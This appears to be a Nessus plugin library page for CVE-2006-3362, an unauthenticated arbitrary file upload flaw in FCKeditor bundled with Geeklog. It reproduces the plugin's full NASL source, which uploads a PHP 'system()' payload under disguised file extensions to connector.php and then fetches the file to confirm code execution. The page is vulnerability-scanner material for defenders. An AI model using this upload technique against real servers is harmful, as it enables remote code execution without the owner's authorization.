FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload - Nessus

High   Plugin ID: 21780

This page contains detailed information about the FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 21780
Name: FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
Filename: geeklog_fckeditor_type_arbitrary_upload.nasl
Vulnerability Published: 2006-06-29
This Plugin Published: 2006-06-29
Last Modification Time: 2022-04-11
Plugin Version: 1.27
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: geeklog_detect.nasl
Required KB Items [?]: www/geeklog
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2006-06-29
Patch Published: N/A
CVE [?]: CVE-2006-3362
CPE [?]: cpe:/a:geeklog:geeklog

Synopsis

The remote web server contains a PHP application that is affected by an arbitrary file upload vulnerability.

Description

The version of Geeklog installed on the remote host includes an older version of FCKeditor that is enabled by default and allows an unauthenticated attacker to upload arbitrary files containing, say, PHP code, and then to execute them subject to the privileges of the web server user id.

Solution

Upgrade to Geeklog 1.4.0sr4 or later or disable FCKeditor as discussed in the first vendor advisory above.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload vulnerability:

  1. Exploit-DB: exploits/php/webapps/1964.php
    [EDB-1964: GeekLog 1.4.0sr3 - 'f(u)ckeditor' Remote Code Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:H/Au:N/C:P/I:P/A:P/E:F/RL:U/RC:C
CVSS Base Score:5.1 (Medium)
Impact Subscore:6.4
Exploitability Subscore:4.9
CVSS Temporal Score:4.8 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:4.8 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.6 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.6 (High)

Go back to menu.

Plugin Source


This is the geeklog_fckeditor_type_arbitrary_upload.nasl nessus plugin source code. This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(21780);
  script_version("1.27");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-3362");
  script_bugtraq_id(18767);
  script_xref(name:"EDB-ID", value:"1964");

  script_name(english:"FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
an arbitrary file upload vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Geeklog installed on the remote host includes an older
version of FCKeditor that is enabled by default and allows an
unauthenticated attacker to upload arbitrary files containing, say,
PHP code, and then to execute them subject to the privileges of the
web server user id.");
  script_set_attribute(attribute:"see_also", value:"https://www.geeklog.net/article.php/exploit-for-fckeditor-filemanager");
  script_set_attribute(attribute:"see_also", value:"https://www.geeklog.net/article.php/geeklog-1.4.0sr4");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Geeklog 1.4.0sr4 or later or disable FCKeditor as discussed
in the first vendor advisory above.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:U/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/06/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/06/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:geeklog:geeklog");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("geeklog_detect.nasl");
  script_require_keys("www/geeklog");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/geeklog"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  # Make sure the affected script exists.
  url = string(dir, "/fckeditor/editor/filemanager/browser/mcpuk/connectors/php/connector.php");

  w = http_send_recv3(method:"GET", item:url, port:port);
  if (isnull(w)) exit(1, "the web server did not answer");
  res = w[2];

  # If it does...
  if ("Invalid command." >< res)
  {
    # Try to upload a file that will execute a command.
    cmd = "id";
    fname = string(SCRIPT_NAME, "-", unixtime(), ".php");

    exts = make_list(
      "zip",
      "doc",
      "xls",
      "pdf",
      "rtf",
      "csv",
      "jpg",
      "gif",
      "jpeg",
      "png",
      "avi",
      "mpg",
      "mpeg",
      "swf",
      "fla"
    );
    foreach ext (exts)
    {
      bound = "nessus";
      boundary = string("--", bound);
      postdata = string(
        boundary, "\r\n", 
        'Content-Disposition: form-data; name="NewFile"; filename="', fname, ".", ext, '"', "\r\n",
        "Content-Type:\r\n",
        "\r\n",
        '<?php system(', cmd, ");  ?>\r\n",

        boundary, "--", "\r\n"
      );
      req = string(
        req,
        "Content-Length: ", strlen(postdata), "\r\n",
        "\r\n",
        postdata
      );
      w = http_send_recv3(method:"POST", port: port,
        item: url+"?Command=FileUpload&Type=File",
	content_type: "multipart/form-data; boundary="+bound,
	data: postdata);
      if (isnull(w)) exit(1, "the web server did not answer");
      res = w[2];

      # If it looks like the upload was accepted...
      if ("OnUploadCompleted(0)" >< res)
      {
        # Try to execute the script.
        w = http_send_recv3(method:"GET",
          item:string(dir, "/images/library/File/", fname, ".", ext), 
          port:port
        );
	if (isnull(w)) exit(1, "the web server did not answer");
	res = w[2];
    
        # There's a problem if...
        if (
          # the output looks like it's from id or...
          egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res) ||
          # PHP's disable_functions prevents running system().
          egrep(pattern:"Warning.+\(\) has been disabled for security reasons", string:res)
        )
        {
          res = strstr(res, "uid=");
          if (egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res))
          {
            report = string(
              "\n",
              "Nessus was able to execute the command '", cmd, "' on the remote host,\n",
              "which produced the following output :\n",
              "\n",
              data_protection::sanitize_uid(output:res)
            );
            security_warning(port:port, extra:report);
          }
          else security_warning(port);

          exit(0);
        }
      }
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/geeklog_fckeditor_type_arbitrary_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\geeklog_fckeditor_type_arbitrary_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/geeklog_fckeditor_type_arbitrary_upload.nasl

Go back to menu.

How to Run


Here is how to run the FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload plugin ID 21780.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl geeklog_fckeditor_type_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a geeklog_fckeditor_type_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - geeklog_fckeditor_type_arbitrary_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state geeklog_fckeditor_type_arbitrary_upload.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 20959 - Geeklog < 1.3.11sr4 / 1.4.0sr1 Multiple Remote Vulnerabilities (LFI, SQLi)
  • 21779 - Geeklog Multiple Script _CONF[path] Parameter Remote File Inclusion
  • 36144 - Geeklog SEC_authenticate Function SQL Injection
  • 39806 - FCKeditor 'CurrentFolder' Arbitrary File Upload
  • 39790 - Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
  • 44701 - Debian DSA-1836-1 : fckeditor - missing input sanitising

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file geeklog_fckeditor_type_arbitrary_upload.nasl version 1.27. For more plugins, visit the Nessus Plugin Library.

Go back to menu.